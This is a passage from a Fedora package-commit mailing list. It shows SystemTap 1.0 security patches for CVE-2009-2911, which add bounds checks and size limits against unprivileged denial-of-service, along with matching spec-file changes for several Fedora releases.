 translate.cxx           |   11 +++++++++++
 3 files changed, 51 insertions(+), 9 deletions(-)

--- NEW FILE SystemTap-1.0-unwind-table-size-checks.patch ---
diff --git a/runtime/unwind.c b/runtime/unwind.c
index 00108a3..7607770 100644
--- a/runtime/unwind.c
+++ b/runtime/unwind.c
@@ -88,7 +88,7 @@ static sleb128_t get_sleb128(const u8 **pcur, const u8 *end)
 
 /* given an FDE, find its CIE */
 static const u32 *cie_for_fde(const u32 *fde, void *unwind_data,
-			      int is_ehframe)
+			      uint32_t table_len, int is_ehframe)
 {
 	const u32 *cie;
 
@@ -118,6 +118,11 @@ static const u32 *cie_for_fde(const u32 *fde, void *unwind_data,
 	else
 		cie = unwind_data + fde[1];
 
+	/* Make sure address falls in the table */
+	if (((void *)cie) < ((void*)unwind_data)
+	    || ((void*)cie) > ((void*)(unwind_data + table_len)))
+	  return NULL;
+
 	if (*cie <= sizeof(*cie) + 4 || *cie >= fde[1] - sizeof(*fde)
 	    || (*cie & (sizeof(*cie) - 1))
 	    || (cie[1] != 0xffffffff && cie[1] != 0)) {
@@ -200,7 +205,8 @@ static unsigned long read_pointer(const u8 **pLoc, const void *end, signed ptrTy
 	return value;
 }
 
-static signed fde_pointer_type(const u32 *cie)
+static signed fde_pointer_type(const u32 *cie, void *unwind_data,
+			       uint32_t table_len)
 {
 	const u8 *ptr = (const u8 *)(cie + 2);
 	unsigned version = *ptr;
@@ -212,11 +218,16 @@ static signed fde_pointer_type(const u32 *cie)
 		const u8 *end = (const u8 *)(cie + 1) + *cie;
 		uleb128_t len;
 
+		/* end of cie should fall within unwind table. */
+		if (((void*)end) < ((void *)unwind_data)
+		    || ((void *)end) > ((void *)(unwind_data + table_len)))
+		  return -1;
+
 		/* check if augmentation size is first (and thus present) */
 		if (*ptr != 'z')
 			return -1;
 		/* check if augmentation string is nul-terminated */
-		if ((ptr = memchr(aug = (const void *)ptr, 0, end - ptr)) == NULL)
+		if ((ptr = memchr(aug = (const void *)ptr, 0, end - ptr)) == NULL) 
 			return -1;
 		++ptr;		/* skip terminator */
 		get_uleb128(&ptr, end);	/* skip code alignment */
@@ -267,6 +278,10 @@ static void set_rule(uleb128_t reg, enum item_location where, uleb128_t value, s
 	}
 }
 
+/* Limit the number of instructions we process. Arbitrary limit.
+   512 should be enough for anybody... */
+#define MAX_CFI 512
+
 static int processCFI(const u8 *start, const u8 *end, unsigned long targetLoc, signed ptrType, struct unwind_state *state)
 {
 	union {
@@ -276,6 +291,9 @@ static int processCFI(const u8 *start, const u8 *end, unsigned long targetLoc, s
 	} ptr;
 	int result = 1;
 
+	if (end - start > MAX_CFI)
+	  return 0;
+
 	dbug_unwind(1, "targetLoc=%lx state->loc=%lx\n", targetLoc, state->loc);
 	if (start != state->cieStart) {
 		state->loc = state->org;
@@ -606,10 +624,10 @@ static int unwind_frame(struct unwind_frame_info *frame,
 
 	/* found the fde, now set startLoc and endLoc */
 	if (fde != NULL) {
-		cie = cie_for_fde(fde, table, is_ehframe);
+		cie = cie_for_fde(fde, table, table_len, is_ehframe);
 		if (likely(cie != NULL && cie != &bad_cie && cie != &not_fde)) {
 			ptr = (const u8 *)(fde + 2);
-			ptrType = fde_pointer_type(cie);
+			ptrType = fde_pointer_type(cie, table, table_len);
 			startLoc = read_pointer(&ptr, (const u8 *)(fde + 1) + *fde, ptrType);
 			startLoc = adjustStartLoc(startLoc, m, s, ptrType, is_ehframe);
 
@@ -632,12 +650,12 @@ static int unwind_frame(struct unwind_frame_info *frame,
 	    for (fde = table, tableSize = table_len; cie = NULL, tableSize > sizeof(*fde)
 		 && tableSize - sizeof(*fde) >= *fde; tableSize -= sizeof(*fde) + *fde, fde += 1 + *fde / sizeof(*fde)) {
 			dbug_unwind(3, "fde=%lx tableSize=%d\n", (long)*fde, (int)tableSize);
-			cie = cie_for_fde(fde, table, is_ehframe);
+			cie = cie_for_fde(fde, table, table_len, is_ehframe);
 			if (cie == &bad_cie) {
 				cie = NULL;
 				break;
 			}
-			if (cie == NULL || cie == &not_fde || (ptrType = fde_pointer_type(cie)) < 0)
+			if (cie == NULL || cie == &not_fde || (ptrType = fde_pointer_type(cie, table, table_len)) < 0)
 				continue;
 
 			ptr = (const u8 *)(fde + 2);
@@ -666,6 +684,12 @@ static int unwind_frame(struct unwind_frame_info *frame,
 	state.cieEnd = ptr;	/* keep here temporarily */
 	ptr = (const u8 *)(cie + 2);
 	end = (const u8 *)(cie + 1) + *cie;
+
+	/* end should fall within unwind table. */
+	if (((void *)end) < table
+	    || ((void *)end) > ((void *)(table + table_len)))
+	  goto err;
+
 	frame->call_frame = 1;
 	if ((state.version = *ptr) != 1) {
 		dbug_unwind(1, "CIE version number is %d.  1 is supported.\n", state.version);
@@ -723,6 +747,11 @@ static int unwind_frame(struct unwind_frame_info *frame,
 	state.cieEnd = end;
 	end = (const u8 *)(fde + 1) + *fde;
 
+	/* end should fall within unwind table. */
+	if (((void*)end) < table
+	    || ((void *)end) > ((void *)(table + table_len)))
+	  goto err;
+
 	/* skip augmentation */
 	if (((const char *)(cie + 2))[1] == 'z') {
 		uleb128_t augSize = get_uleb128(&ptr, end);
diff --git a/runtime/unwind/unwind.h b/runtime/unwind/unwind.h
index 285a3a3..023ea60 100644
--- a/runtime/unwind/unwind.h
+++ b/runtime/unwind/unwind.h
@@ -143,8 +143,10 @@ static unsigned long read_pointer(const u8 **pLoc,
                                   const void *end,
                                   signed ptrType);
 static const u32 bad_cie, not_fde;
-static const u32 *cie_for_fde(const u32 *fde, void *table, int is_ehframe);
-static signed fde_pointer_type(const u32 *cie);
+static const u32 *cie_for_fde(const u32 *fde, void *table,
+			      uint32_t table_len, int is_ehframe);
+static signed fde_pointer_type(const u32 *cie,
+			       void *table, uint32_t table_len);
 
 
 #endif /* STP_USE_DWARF_UNWINDER */
diff --git a/translate.cxx b/translate.cxx
index bc5d615..9d456bc 100644
--- a/translate.cxx
+++ b/translate.cxx
@@ -29,6 +29,11 @@ extern "C" {
 #include <elfutils/libdwfl.h>
 }
 
+// Max unwind table size (debug or eh) per module. Somewhat arbitrary
+// limit (a bit more than twice the .debug_frame size of my local
+// vmlinux for 2.6.31.4-83.fc12.x86_64)
+#define MAX_UNWIND_TABLE_SIZE (3 * 1024 * 1024)
+
 using namespace std;
 
 struct var;
@@ -4785,6 +4790,9 @@ dump_unwindsyms (Dwfl_Module *m,
   get_unwind_data (m, &debug_frame, &eh_frame, &debug_len, &eh_len, &eh_addr);
   if (debug_frame != NULL && debug_len > 0)
     {
+      if (debug_len > MAX_UNWIND_TABLE_SIZE)
+	throw semantic_error ("module debug unwind table size too big");
+
       c->output << "#if defined(STP_USE_DWARF_UNWINDER) && defined(STP_NEED_UNWIND_DATA)\n";
       c->output << "static uint8_t _stp_module_" << stpmod_idx
 		<< "_debug_frame[] = \n";
@@ -4802,6 +4810,9 @@ dump_unwindsyms (Dwfl_Module *m,
 
   if (eh_frame != NULL && eh_len > 0)
     {
+      if (eh_len > MAX_UNWIND_TABLE_SIZE)
+	throw semantic_error ("module eh unwind table size too big");
+
       c->output << "#if defined(STP_USE_DWARF_UNWINDER) && defined(STP_NEED_UNWIND_DATA)\n";
       c->output << "static uint8_t _stp_module_" << stpmod_idx
 		<< "_eh_frame[] = \n";


Index: systemtap.spec
===================================================================
RCS file: /cvs/pkgs/rpms/systemtap/F-12/systemtap.spec,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- systemtap.spec	23 Sep 2009 02:25:47 -0000	1.53
+++ systemtap.spec	21 Oct 2009 15:51:01 -0000	1.54
@@ -9,7 +9,7 @@
 
 Name: systemtap
 Version: 1.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 # for version, see also configure.ac
 Summary: Instrumentation System
 Group: Development/System
@@ -61,6 +61,11 @@ BuildRequires: xmlto /usr/share/xmlto/fo
 BuildRequires: gtkmm24-devel >= 2.8
 %endif
 
+# Fix three --unprivileged DOS issues (CVE-2009-2911)
+Patch10: SystemTap-1.0-limit-printf-arguments.patch
+Patch11: SystemTap-1.0-limit-dwarf-expression-stack-size.patch
+Patch12: SystemTap-1.0-unwind-table-size-checks.patch
+
 %description
 SystemTap is an instrumentation system for systems running Linux 2.6.
 Developers can write instrumentation to collect data on the operation
@@ -164,6 +169,11 @@ find . \( -name configure -o -name confi
 cd ..
 %endif
 
+# Fix three --unprivileged DOS issues (CVE-2009-2911)
+%patch10 -p1
+%patch11 -p1
+%patch12 -p1
+
 %build
 
 %if %{with_bundled_elfutils}
@@ -387,6 +397,9 @@ exit 0
 
 
 %changelog
+* Wed Oct 21 2009 Josh Stone <jistone at redhat.com> - 1.0-2
+- Fix three --unprivileged DOS issues (CVE-2009-2911)
+
 * Tue Sep 22 2009 Josh Stone <jistone at redhat.com> - 1.0-1
 - Upstream release.
 



From jistone at fedoraproject.org  Wed Oct 21 15:52:43 2009
From: jistone at fedoraproject.org (Josh Stone)
Date: Wed, 21 Oct 2009 15:52:43 +0000 (UTC)
Subject: rpms/systemtap/F-11
	SystemTap-1.0-limit-dwarf-expression-stack-size.patch, NONE,
	1.1 SystemTap-1.0-limit-printf-arguments.patch, NONE,
	1.1 SystemTap-1.0-unwind-table-size-checks.patch, NONE,
	1.1 systemtap.spec, 1.51, 1.52
Message-ID: <20091021155243.1CAE211C00E8@cvs1.fedora.phx.redhat.com>

Author: jistone

Update of /cvs/pkgs/rpms/systemtap/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23664

Modified Files:
	systemtap.spec 
Added Files:
	SystemTap-1.0-limit-dwarf-expression-stack-size.patch 
	SystemTap-1.0-limit-printf-arguments.patch 
	SystemTap-1.0-unwind-table-size-checks.patch 
Log Message:
Fixes for CVE-2009-2911

SystemTap-1.0-limit-dwarf-expression-stack-size.patch:
 dwflpp.cxx   |   10 +++++++++-
 loc2c-test.c |    7 +++++--
 loc2c.c      |   19 ++++++++++++++-----
 loc2c.h      |    3 ++-
 4 files changed, 30 insertions(+), 9 deletions(-)

--- NEW FILE SystemTap-1.0-limit-dwarf-expression-stack-size.patch ---
diff --git a/dwflpp.cxx b/dwflpp.cxx
index 636cd38..c31548d 100644
--- a/dwflpp.cxx
+++ b/dwflpp.cxx
@@ -2272,7 +2272,15 @@ dwflpp::express_as_string (string prelude,
 
   fprintf(memstream, "{\n");
   fprintf(memstream, "%s", prelude.c_str());
-  bool deref = c_emit_location (memstream, head, 1);
+
+  unsigned int stack_depth;
+  bool deref = c_emit_location (memstream, head, 1, &stack_depth);
+
+  // Ensure that DWARF keeps loc2c to a "reasonable" stack size
+  // 32 intptr_t leads to max 256 bytes on the stack
+  if (stack_depth > 32)
+    throw semantic_error("oversized DWARF stack");
+
   fprintf(memstream, "%s", postlude.c_str());
   fprintf(memstream, "  goto out;\n");
 
diff --git a/loc2c-test.c b/loc2c-test.c
index 495a95f..ed7aa4b 100644
--- a/loc2c-test.c
+++ b/loc2c-test.c
@@ -329,11 +329,14 @@ handle_variable (Dwarf_Die *lscopes, int lnscopes, int out,
 	"{\n"
 	"  intptr_t value;");
 
-  bool deref = c_emit_location (stdout, head, 1);
+  unsigned int stack_depth;
+  bool deref = c_emit_location (stdout, head, 1, &stack_depth);
 
   obstack_free (&pool, NULL);
 
-  puts (store ? " return;" :
+  printf ("  /* max expression stack depth %u */\n", stack_depth);
+
+  puts (store ? "  return;" :
 	"  printk (\" ---> %ld\\n\", (unsigned long) value);\n"
 	"  return;");
 
diff --git a/loc2c.c b/loc2c.c
index 5d6b549..0716c7d 100644
--- a/loc2c.c
+++ b/loc2c.c
@@ -2071,7 +2071,8 @@ emit_loc_address (FILE *out, struct location *loc, unsigned int indent,
    assign it to an address-sized value.  */
 static void
 emit_loc_value (FILE *out, struct location *loc, unsigned int indent,
-		const char *target, bool declare)
+		const char *target, bool declare,
+		bool *used_deref, unsigned int *max_stack)
 {
   if (declare)
     emit ("%*s%s %s;\n", indent * 2, "", STACK_TYPE, target);
@@ -2091,6 +2092,9 @@ emit_loc_value (FILE *out, struct location *loc, unsigned int indent,
     case loc_address:
     case loc_value:
       emit_loc_address (out, loc, indent, target);
+      *used_deref = *used_deref || loc->address.used_deref;
+      if (loc->address.stack_depth > *max_stack)
+	*max_stack = loc->address.stack_depth;
       break;
     }
 
@@ -2098,7 +2102,8 @@ emit_loc_value (FILE *out, struct location *loc, unsigned int indent,
 }
 
 bool
-c_emit_location (FILE *out, struct location *loc, int indent)
+c_emit_location (FILE *out, struct location *loc, int indent,
+		 unsigned int *max_stack)
 {
   emit ("%*s{\n", indent * 2, "");
 
@@ -2134,9 +2139,11 @@ c_emit_location (FILE *out, struct location *loc, int indent)
       }
 
   bool deref = false;
+  *max_stack = 0;
 
   if (loc->frame_base != NULL)
-    emit_loc_value (out, loc->frame_base, indent, "frame_base", true);
+    emit_loc_value (out, loc->frame_base, indent, "frame_base", true,
+		    &deref, max_stack);
 
   for (; loc->next != NULL; loc = loc->next)
     switch (loc->type)
@@ -2144,8 +2151,7 @@ c_emit_location (FILE *out, struct location *loc, int indent)
       case loc_address:
       case loc_value:
 	/* Emit the program fragment to calculate the address.  */
-	emit_loc_value (out, loc, indent + 1, "addr", false);
-	deref = deref || loc->address.used_deref;
+	emit_loc_value (out, loc, indent + 1, "addr", false, &deref, max_stack);
 	break;
 
       case loc_fragment:
@@ -2172,6 +2178,9 @@ c_emit_location (FILE *out, struct location *loc, int indent)
 
   emit ("%s%*s}\n", loc->address.program, indent * 2, "");
 
+  if (loc->address.stack_depth > *max_stack)
+    *max_stack = loc->address.stack_depth;
+
   return deref || loc->address.used_deref;
 }
 
diff --git a/loc2c.h b/loc2c.h
index becf2d8..45d9382 100644
--- a/loc2c.h
+++ b/loc2c.h
@@ -112,6 +112,7 @@ struct location *c_translate_argument (struct obstack *,
 
    Writes complete lines of C99, code forming a complete C block, to STREAM.
    Return value is true iff that code uses the `deref' runtime macros.  */
-bool c_emit_location (FILE *stream, struct location *loc, int indent);
+bool c_emit_location (FILE *stream, struct location *loc, int indent,
+		      unsigned int *max_stack);
 
 /* vim: set sw=2 ts=8 cino=>4,n-2,{2,^-2,t0,(0,u0,w1,M1 : */


SystemTap-1.0-limit-printf-arguments.patch:
 buildrun.cxx                  |    3 +++
 testsuite/transko/varargs.stp |   10 ++++++++++
 testsuite/transok/varargs.stp |    9 +++++++++
 translate.cxx                 |    5 +++++
 4 files changed, 27 insertions(+)

--- NEW FILE SystemTap-1.0-limit-printf-arguments.patch ---
diff --git a/buildrun.cxx b/buildrun.cxx
index 100cbc4..c86a442 100644
--- a/buildrun.cxx
+++ b/buildrun.cxx
@@ -200,6 +200,9 @@ compile_pass (systemtap_session& s)
 
   // o << "CFLAGS += -fno-unit-at-a-time" << endl;
 
+  // 600 bytes should be enough for anybody
+  o << "EXTRA_CFLAGS += $(call cc-option,-Wframe-larger-than=600)" << endl;
+
   // Assumes linux 2.6 kbuild
   o << "EXTRA_CFLAGS += -Wno-unused -Werror" << endl;
   #if CHECK_POINTER_ARITH_PR5947
diff --git a/testsuite/transko/varargs.stp b/testsuite/transko/varargs.stp
new file mode 100755
index 0000000..f38309a
--- /dev/null
+++ b/testsuite/transko/varargs.stp
@@ -0,0 +1,10 @@
+#! stap -p3
+
+probe begin {
+    // PR10750 enforces at most 32 print args
+    println(1, 2, 3, 4, 5, 6, 7, 8,
+            9, 10, 11, 12, 13, 14, 15, 16,
+            17, 18, 19, 20, 21, 22, 23, 24,
+            25, 26, 27, 28, 29, 30, 31, 32,
+            33)
+}
diff --git a/testsuite/transok/varargs.stp b/testsuite/transok/varargs.stp
new file mode 100755
index 0000000..216166f
--- /dev/null
+++ b/testsuite/transok/varargs.stp
@@ -0,0 +1,9 @@
+#! stap -p3
+
+probe begin {
+    // PR10750 enforces at most 32 print args
+    println(1, 2, 3, 4, 5, 6, 7, 8,
+            9, 10, 11, 12, 13, 14, 15, 16,
+            17, 18, 19, 20, 21, 22, 23, 24,
+            25, 26, 27, 28, 29, 30, 31, 32)
+}
diff --git a/translate.cxx b/translate.cxx
index 04a9247..c73a5bd 100644
--- a/translate.cxx
+++ b/translate.cxx
@@ -4151,6 +4151,11 @@ c_unparser::visit_print_format (print_format* e)
     {
       stmt_expr block(*this);
 
+      // PR10750: Enforce a reasonable limit on # of varargs
+      // 32 varargs leads to max 256 bytes on the stack
+      if (e->args.size() > 32)
+        throw semantic_error("too many arguments to print", e->tok);
+
       // Compute actual arguments
       vector<tmpvar> tmp;
 


SystemTap-1.0-unwind-table-size-checks.patch:
 runtime/unwind.c        |   43 ++++++++++++++++++++++++++++++++++++-------
 runtime/unwind/unwind.h |    6 ++++--
 translate.cxx           |   11 +++++++++++
 3 files changed, 51 insertions(+), 9 deletions(-)

--- NEW FILE SystemTap-1.0-unwind-table-size-checks.patch ---
diff --git a/runtime/unwind.c b/runtime/unwind.c
index 00108a3..7607770 100644
--- a/runtime/unwind.c
+++ b/runtime/unwind.c
@@ -88,7 +88,7 @@ static sleb128_t get_sleb128(const u8 **pcur, const u8 *end)
 
 /* given an FDE, find its CIE */
 static const u32 *cie_for_fde(const u32 *fde, void *unwind_data,
-			      int is_ehframe)
+			      uint32_t table_len, int is_ehframe)
 {
 	const u32 *cie;
 
@@ -118,6 +118,11 @@ static const u32 *cie_for_fde(const u32 *fde, void *unwind_data,
 	else
 		cie = unwind_data + fde[1];
 
+	/* Make sure address falls in the table */
+	if (((void *)cie) < ((void*)unwind_data)
+	    || ((void*)cie) > ((void*)(unwind_data + table_len)))
+	  return NULL;
+
 	if (*cie <= sizeof(*cie) + 4 || *cie >= fde[1] - sizeof(*fde)
 	    || (*cie & (sizeof(*cie) - 1))
 	    || (cie[1] != 0xffffffff && cie[1] != 0)) {
@@ -200,7 +205,8 @@ static unsigned long read_pointer(const u8 **pLoc, const void *end, signed ptrTy
 	return value;
 }
 
-static signed fde_pointer_type(const u32 *cie)
+static signed fde_pointer_type(const u32 *cie, void *unwind_data,
+			       uint32_t table_len)
 {
 	const u8 *ptr = (const u8 *)(cie + 2);
 	unsigned version = *ptr;
@@ -212,11 +218,16 @@ static signed fde_pointer_type(const u32 *cie)
 		const u8 *end = (const u8 *)(cie + 1) + *cie;
 		uleb128_t len;
 
+		/* end of cie should fall within unwind table. */
+		if (((void*)end) < ((void *)unwind_data)
+		    || ((void *)end) > ((void *)(unwind_data + table_len)))
+		  return -1;
+
 		/* check if augmentation size is first (and thus present) */
 		if (*ptr != 'z')
 			return -1;
 		/* check if augmentation string is nul-terminated */
-		if ((ptr = memchr(aug = (const void *)ptr, 0, end - ptr)) == NULL)
+		if ((ptr = memchr(aug = (const void *)ptr, 0, end - ptr)) == NULL) 
 			return -1;
 		++ptr;		/* skip terminator */
 		get_uleb128(&ptr, end);	/* skip code alignment */
@@ -267,6 +278,10 @@ static void set_rule(uleb128_t reg, enum item_location where, uleb128_t value, s
 	}
 }
 
+/* Limit the number of instructions we process. Arbitrary limit.
+   512 should be enough for anybody... */
+#define MAX_CFI 512
+
 static int processCFI(const u8 *start, const u8 *end, unsigned long targetLoc, signed ptrType, struct unwind_state *state)
 {
 	union {
@@ -276,6 +291,9 @@ static int processCFI(const u8 *start, const u8 *end, unsigned long targetLoc, s
 	} ptr;
 	int result = 1;
 
+	if (end - start > MAX_CFI)
+	  return 0;
+
 	dbug_unwind(1, "targetLoc=%lx state->loc=%lx\n", targetLoc, state->loc);
 	if (start != state->cieStart) {
 		state->loc = state->org;
@@ -606,10 +624,10 @@ static int unwind_frame(struct unwind_frame_info *frame,
 
 	/* found the fde, now set startLoc and endLoc */
 	if (fde != NULL) {
-		cie = cie_for_fde(fde, table, is_ehframe);
+		cie = cie_for_fde(fde, table, table_len, is_ehframe);
 		if (likely(cie != NULL && cie != &bad_cie && cie != &not_fde)) {
 			ptr = (const u8 *)(fde + 2);
-			ptrType = fde_pointer_type(cie);
+			ptrType = fde_pointer_type(cie, table, table_len);
 			startLoc = read_pointer(&ptr, (const u8 *)(fde + 1) + *fde, ptrType);
 			startLoc = adjustStartLoc(startLoc, m, s, ptrType, is_ehframe);
 
@@ -632,12 +650,12 @@ static int unwind_frame(struct unwind_frame_info *frame,
 	    for (fde = table, tableSize = table_len; cie = NULL, tableSize > sizeof(*fde)
 		 && tableSize - sizeof(*fde) >= *fde; tableSize -= sizeof(*fde) + *fde, fde += 1 + *fde / sizeof(*fde)) {
 			dbug_unwind(3, "fde=%lx tableSize=%d\n", (long)*fde, (int)tableSize);
-			cie = cie_for_fde(fde, table, is_ehframe);
+			cie = cie_for_fde(fde, table, table_len, is_ehframe);
 			if (cie == &bad_cie) {
 				cie = NULL;
 				break;
 			}
-			if (cie == NULL || cie == &not_fde || (ptrType = fde_pointer_type(cie)) < 0)
+			if (cie == NULL || cie == &not_fde || (ptrType = fde_pointer_type(cie, table, table_len)) < 0)
 				continue;
 
 			ptr = (const u8 *)(fde + 2);
@@ -666,6 +684,12 @@ static int unwind_frame(struct unwind_frame_info *frame,
 	state.cieEnd = ptr;	/* keep here temporarily */
 	ptr = (const u8 *)(cie + 2);
 	end = (const u8 *)(cie + 1) + *cie;
+
+	/* end should fall within unwind table. */
+	if (((void *)end) < table
+	    || ((void *)end) > ((void *)(table + table_len)))
+	  goto err;
+
 	frame->call_frame = 1;
 	if ((state.version = *ptr) != 1) {
 		dbug_unwind(1, "CIE version number is %d.  1 is supported.\n", state.version);
@@ -723,6 +747,11 @@ static int unwind_frame(struct unwind_frame_info *frame,
 	state.cieEnd = end;
 	end = (const u8 *)(fde + 1) + *fde;
 
+	/* end should fall within unwind table. */
+	if (((void*)end) < table
+	    || ((void *)end) > ((void *)(table + table_len)))
+	  goto err;
+
 	/* skip augmentation */
 	if (((const char *)(cie + 2))[1] == 'z') {
 		uleb128_t augSize = get_uleb128(&ptr, end);
diff --git a/runtime/unwind/unwind.h b/runtime/unwind/unwind.h
index 285a3a3..023ea60 100644
--- a/runtime/unwind/unwind.h
+++ b/runtime/unwind/unwind.h
@@ -143,8 +143,10 @@ static unsigned long read_pointer(const u8 **pLoc,
                                   const void *end,
                                   signed ptrType);
 static const u32 bad_cie, not_fde;
-static const u32 *cie_for_fde(const u32 *fde, void *table, int is_ehframe);
-static signed fde_pointer_type(const u32 *cie);
+static const u32 *cie_for_fde(const u32 *fde, void *table,
+			      uint32_t table_len, int is_ehframe);
+static signed fde_pointer_type(const u32 *cie,
+			       void *table, uint32_t table_len);
 
 
 #endif /* STP_USE_DWARF_UNWINDER */
diff --git a/translate.cxx b/translate.cxx
index bc5d615..9d456bc 100644
--- a/translate.cxx
+++ b/translate.cxx
@@ -29,6 +29,11 @@ extern "C" {
 #include <elfutils/libdwfl.h>
 }
 
+// Max unwind table size (debug or eh) per module. Somewhat arbitrary
+// limit (a bit more than twice the .debug_frame size of my local
+// vmlinux for 2.6.31.4-83.fc12.x86_64)
+#define MAX_UNWIND_TABLE_SIZE (3 * 1024 * 1024)
+
 using namespace std;
 
 struct var;
@@ -4785,6 +4790,9 @@ dump_unwindsyms (Dwfl_Module *m,
   get_unwind_data (m, &debug_frame, &eh_frame, &debug_len, &eh_len, &eh_addr);
   if (debug_frame != NULL && debug_len > 0)
     {
+      if (debug_len > MAX_UNWIND_TABLE_SIZE)
+	throw semantic_error ("module debug unwind table size too big");
+
       c->output << "#if defined(STP_USE_DWARF_UNWINDER) && defined(STP_NEED_UNWIND_DATA)\n";
       c->output << "static uint8_t _stp_module_" << stpmod_idx
 		<< "_debug_frame[] = \n";
@@ -4802,6 +4810,9 @@ dump_unwindsyms (Dwfl_Module *m,
 
   if (eh_frame != NULL && eh_len > 0)
     {
+      if (eh_len > MAX_UNWIND_TABLE_SIZE)
+	throw semantic_error ("module eh unwind table size too big");
+
       c->output << "#if defined(STP_USE_DWARF_UNWINDER) && defined(STP_NEED_UNWIND_DATA)\n";
       c->output << "static uint8_t _stp_module_" << stpmod_idx
 		<< "_eh_frame[] = \n";


Index: systemtap.spec
===================================================================
RCS file: /cvs/pkgs/rpms/systemtap/F-11/systemtap.spec,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- systemtap.spec	23 Sep 2009 02:26:03 -0000	1.51
+++ systemtap.spec	21 Oct 2009 15:52:42 -0000	1.52
@@ -9,7 +9,7 @@
 
 Name: systemtap
 Version: 1.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 # for version, see also configure.ac
 Summary: Instrumentation System
 Group: Development/System
@@ -61,6 +61,11 @@ BuildRequires: xmlto /usr/share/xmlto/fo
 BuildRequires: gtkmm24-devel >= 2.8
 %endif
 
+# Fix three --unprivileged DOS issues (CVE-2009-2911)
+Patch10: SystemTap-1.0-limit-printf-arguments.patch
+Patch11: SystemTap-1.0-limit-dwarf-expression-stack-size.patch
+Patch12: SystemTap-1.0-unwind-table-size-checks.patch
+
 %description
 SystemTap is an instrumentation system for systems running Linux 2.6.
 Developers can write instrumentation to collect data on the operation
@@ -164,6 +169,11 @@ find . \( -name configure -o -name confi
 cd ..
 %endif
 
+# Fix three --unprivileged DOS issues (CVE-2009-2911)
+%patch10 -p1
+%patch11 -p1
+%patch12 -p1
+
 %build
 
 %if %{with_bundled_elfutils}
@@ -387,6 +397,9 @@ exit 0
 
 
 %changelog
+* Wed Oct 21 2009 Josh Stone <jistone at redhat.com> - 1.0-2
+- Fix three --unprivileged DOS issues (CVE-2009-2911)
+
 * Tue Sep 22 2009 Josh Stone <jistone at redhat.com> - 1.0-1
 - Upstream release.
 



From jistone at fedoraproject.org  Wed Oct 21 15:53:08 2009
From: jistone at fedoraproject.org (Josh Stone)
Date: Wed, 21 Oct 2009 15:53:08 +0000 (UTC)
Subject: rpms/systemtap/F-10
	SystemTap-1.0-limit-dwarf-expression-stack-size.patch, NONE,
	1.1 SystemTap-1.0-limit-printf-arguments.patch, NONE,
	1.1 SystemTap-1.0-unwind-table-size-checks.patch, NONE,
	1.1 systemtap.spec, 1.49, 1.50
Message-ID: <20091021155308.2CA8A11C00E8@cvs1.fedora.phx.redhat.com>

Author: jistone

Update of /cvs/pkgs/rpms/systemtap/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23971

Modified Files:
	systemtap.spec 
Added Files:
	SystemTap-1.0-limit-dwarf-expression-stack-size.patch 
	SystemTap-1.0-limit-printf-arguments.patch 
	SystemTap-1.0-unwind-table-size-checks.patch 
Log Message:
Fixes for CVE-2009-2911

SystemTap-1.0-limit-dwarf-expression-stack-size.patch:
 dwflpp.cxx   |   10 +++++++++-
 loc2c-test.c |    7 +++++--
 loc2c.c      |   19 ++++++++++++++-----
 loc2c.h      |    3 ++-
 4 files changed, 30 insertions(+), 9 deletions(-)

--- NEW FILE SystemTap-1.0-limit-dwarf-expression-stack-size.patch ---
diff --git a/dwflpp.cxx b/dwflpp.cxx
index 636cd38..c31548d 100644
--- a/dwflpp.cxx
+++ b/dwflpp.cxx
@@ -2272,7 +2272,15 @@ dwflpp::express_as_string (string prelude,
 
   fprintf(memstream, "{\n");
   fprintf(memstream, "%s", prelude.c_str());
-  bool deref = c_emit_location (memstream, head, 1);
+
+  unsigned int stack_depth;
+  bool deref = c_emit_location (memstream, head, 1, &stack_depth);
+
+  // Ensure that DWARF keeps loc2c to a "reasonable" stack size
+  // 32 intptr_t leads to max 256 bytes on the stack
+  if (stack_depth > 32)
+    throw semantic_error("oversized DWARF stack");
+
   fprintf(memstream, "%s", postlude.c_str());
   fprintf(memstream, "  goto out;\n");
 
diff --git a/loc2c-test.c b/loc2c-test.c
index 495a95f..ed7aa4b 100644
--- a/loc2c-test.c
+++ b/loc2c-test.c
@@ -329,11 +329,14 @@ handle_variable (Dwarf_Die *lscopes, int lnscopes, int out,
 	"{\n"
 	"  intptr_t value;");
 
-  bool deref = c_emit_location (stdout, head, 1);
+  unsigned int stack_depth;
+  bool deref = c_emit_location (stdout, head, 1, &stack_depth);
 
   obstack_free (&pool, NULL);
 
-  puts (store ? " return;" :
+  printf ("  /* max expression stack depth %u */\n", stack_depth);
+
+  puts (store ? "  return;" :
 	"  printk (\" ---> %ld\\n\", (unsigned long) value);\n"
 	"  return;");
 
diff --git a/loc2c.c b/loc2c.c
index 5d6b549..0716c7d 100644
--- a/loc2c.c
+++ b/loc2c.c
@@ -2071,7 +2071,8 @@ emit_loc_address (FILE *out, struct location *loc, unsigned int indent,
    assign it to an address-sized value.  */
 static void
 emit_loc_value (FILE *out, struct location *loc, unsigned int indent,
-		const char *target, bool declare)
+		const char *target, bool declare,
+		bool *used_deref, unsigned int *max_stack)
 {
   if (declare)
     emit ("%*s%s %s;\n", indent * 2, "", STACK_TYPE, target);
@@ -2091,6 +2092,9 @@ emit_loc_value (FILE *out, struct location *loc, unsigned int indent,
     case loc_address:
     case loc_value:
       emit_loc_address (out, loc, indent, target);
+      *used_deref = *used_deref || loc->address.used_deref;
+      if (loc->address.stack_depth > *max_stack)
+	*max_stack = loc->address.stack_depth;
       break;
     }
 
@@ -2098,7 +2102,8 @@ emit_loc_value (FILE *out, struct location *loc, unsigned int indent,
 }
 
 bool
-c_emit_location (FILE *out, struct location *loc, int indent)
+c_emit_location (FILE *out, struct location *loc, int indent,
+		 unsigned int *max_stack)
 {
   emit ("%*s{\n", indent * 2, "");
 
@@ -2134,9 +2139,11 @@ c_emit_location (FILE *out, struct location *loc, int indent)
       }
 
   bool deref = false;
+  *max_stack = 0;
 
   if (loc->frame_base != NULL)
-    emit_loc_value (out, loc->frame_base, indent, "frame_base", true);
+    emit_loc_value (out, loc->frame_base, indent, "frame_base", true,
+		    &deref, max_stack);
 
   for (; loc->next != NULL; loc = loc->next)
     switch (loc->type)
@@ -2144,8 +2151,7 @@ c_emit_location (FILE *out, struct location *loc, int indent)
       case loc_address:
